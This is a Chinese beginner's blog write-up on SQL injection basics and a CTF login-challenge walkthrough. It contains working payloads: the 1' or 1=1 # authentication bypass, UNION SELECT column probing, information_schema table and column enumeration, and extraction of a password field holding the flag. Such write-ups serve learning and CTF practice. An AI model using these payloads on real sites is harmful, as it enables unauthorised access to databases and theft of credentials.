sql基础(2)

原理进一步理解

脚本代码在实现代码与数据库进行数据通信时(从数据库中取出相关的数据进行页面展示),将定义的sql语句进行执行查询数据时,其中的sql语句能够通过参数传递自定义值来控制sql语句,从而执行恶意的sql语句,可以实现查询其他数据(数据库中的敏感数据,如管理员的账号密码)。

之后便是这个数据库中有啥便能干啥(SQL语句查询,删除,添加,修改等操作)

同样sql语句也有写法规则,也就是说必须符合正确的写法才能执行成功。

漏洞产生的根本条件:可控变量   特定函数


id=“  ”  是一个判断必需的可控变量


注:注入语句写在哪个后面表示哪个有注入
eg:?id= -1’) union select 1,2,3 passward=123   如果union注入语句写在123后就表示passward有注入,而这里是id。

2.sql注入流程
1,判断数据库类型
2,判断闭合方式,验证漏洞,判断列数和回显位,取数据,查密码

ACCESS数据库结构
数据库名
       表名
             列名
                   数据

注:1.    order by 3  -判断字段数
这里的3表示的就是这张表中列的数量
2.查询表名时
union select 1,2,3 from admin
爆出的数据第一个就是表名所在处,第二个就是密码所在处
实际操做中需要我们去猜测它的位置
这里union是联合查询,简单理解为不管多少条语句都可以插入,正常执行并查询

题目实操

进入后,网站的页面是这样的,给了些许提示表明是sql注入,所以直接按照sql注入的一般过程注入看看1、确定注入类型
  该题目中有两个输入框,也就是说有两个可以拼接sql的地方,我们在其中任意一个地方进行注入即可。如下图所示,1' or 1=1 #,这是按照字符型注入的规则输入的万能密码,也就是说后台数据库在查询时,该sql语句的逻辑一定成立。这是我尝试数字型注入一直错误后又用字符型注入后的结果

2、确定字段数和显示顺序
  在初步尝试登录成功后,回显了一个字符串,看起来像flag,经过尝试后发现不是,所以接下来还是按照sql注入的步骤进行。我注入1' union select 1, 2, 3 #,注入过程和效果如下图所示,发现Hello处显示了2,Your password is处显示了3,再经过其它测试发现查询的字段数只有3列。结合之前登录成功的界面,可以猜到第2列对应的是用户名,第3列对应的是密码。

3、获取数据库以及表信息
  这里将sql注入的步骤融合,经过前面的注入类型确定和字段数确定,接下来的步骤才是真正寻找信息的过程。如下截图所示,展示了泄露出数据库表信息的过程。

使用的注入语句
1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #

这里我猜测大概率flag在表l0ve1ysq1中,接下来是泄露出表字段信息,如截图所示。

使用语句 
1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1" #最后看一下表中的数据是啥,可以发现flag在password字段中,由于数据太长,flag前半部分在右边无法全部截图。

使用语句
1' union select 1, 2, group_concat(password) from l0ve1ysq1 #查阅后知道确定flag所在id后,可以这样打印出来   使用语句
1' union select 1, 2, group_concat(password) from l0ve1ysq1 where id=16 #

                                                                               小白入门写得不太系统,请多多海涵!

  • 8
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值